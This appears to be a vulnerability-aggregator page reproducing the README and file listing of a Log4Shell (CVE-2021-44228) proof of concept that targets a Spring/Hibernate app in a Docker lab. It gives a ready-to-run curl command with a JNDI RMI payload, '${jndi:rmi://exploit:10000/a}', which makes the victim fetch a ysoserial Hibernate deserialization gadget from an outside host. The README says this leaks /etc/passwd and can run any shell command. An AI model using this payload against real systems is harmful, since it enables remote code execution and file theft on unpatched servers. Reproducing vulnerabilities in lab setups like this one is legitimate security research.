来源

关联漏洞

描述

CVE-2021-44228 POC - Spring / Hibernate

介绍

# CVE-2021-44228 POC - Spring / Hibernate

_This POC uses Spring / Hibernate, however a similar approach of rmi -> deserialization could be used to trigger any deserialization vulnerability_

# TL;DR

```shell
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
```

You should see the contents of the victim's /etc/passwd appear in the logs of the `attacker` container.
You can replace the command in the `exploit` service to run any shell command on the victim.


## Victim

The victim is running a standard [starter spring app](https://start.spring.io/#!type=gradle-project&language=java&platformVersion=2.6.1&packaging=jar&jvmVersion=11&groupId=dev.uint0.pocs&artifactId=cve202144228&name=cve202144228&description=CVE-2021-44228%20POC%20-%20Spring%20%2F%20Hibernate&packageName=dev.uint0.pocs.cve202144228&dependencies=data-jpa,web,h2) with the "Spring Data JPA" (for Hibernate), "Spring Web", and "H2" (as a data store) dependencies. Only 2 modifications have been made on top of this

1. Removed tests
2. Replaced the `slf4j` logger with the vulnerable `log4j`

All dependencies are up to date. There are no magic flags enabled.

The victim exposes a `POST`-able endpoint on `/` which will log the request.


## Exploit

The exploit relies on a fork of [ysoserial](https://github.com/uint0/ysoserial) using the `Hibernate` exploit generator. In order to have the exploit to work with the latest version of hibernate we will need to recompile ysoserial.

文件快照

 [4.0K]  /data/pocs/562ce03203cfff38ba31d893173d021b121a7630
├── [ 496]  docker-compose.yml
├── [4.0K]  exploit
│   └── [ 320]  Dockerfile
├── [1.5K]  README.md
└── [4.0K]  victim
    ├── [ 806]  build.gradle
    ├── [ 269]  Dockerfile
    ├── [4.0K]  gradle
    │   └── [4.0K]  wrapper
    │       ├── [ 58K]  gradle-wrapper.jar
    │       └── [ 202]  gradle-wrapper.properties
    ├── [7.9K]  gradlew
    ├── [2.7K]  gradlew.bat
    ├── [  34]  settings.gradle
    └── [4.0K]  src
        └── [4.0K]  main
            ├── [4.0K]  java
            │   └── [4.0K]  dev
            │       └── [4.0K]  uint0
            │           └── [4.0K]  pocs
            │               └── [4.0K]  cve202144228
            │                   ├── [ 332]  Cve202144228Application.java
            │                   └── [ 561]  IndexController.java
            └── [4.0K]  resources
                └── [   1]  application.properties

12 directories, 13 files

备注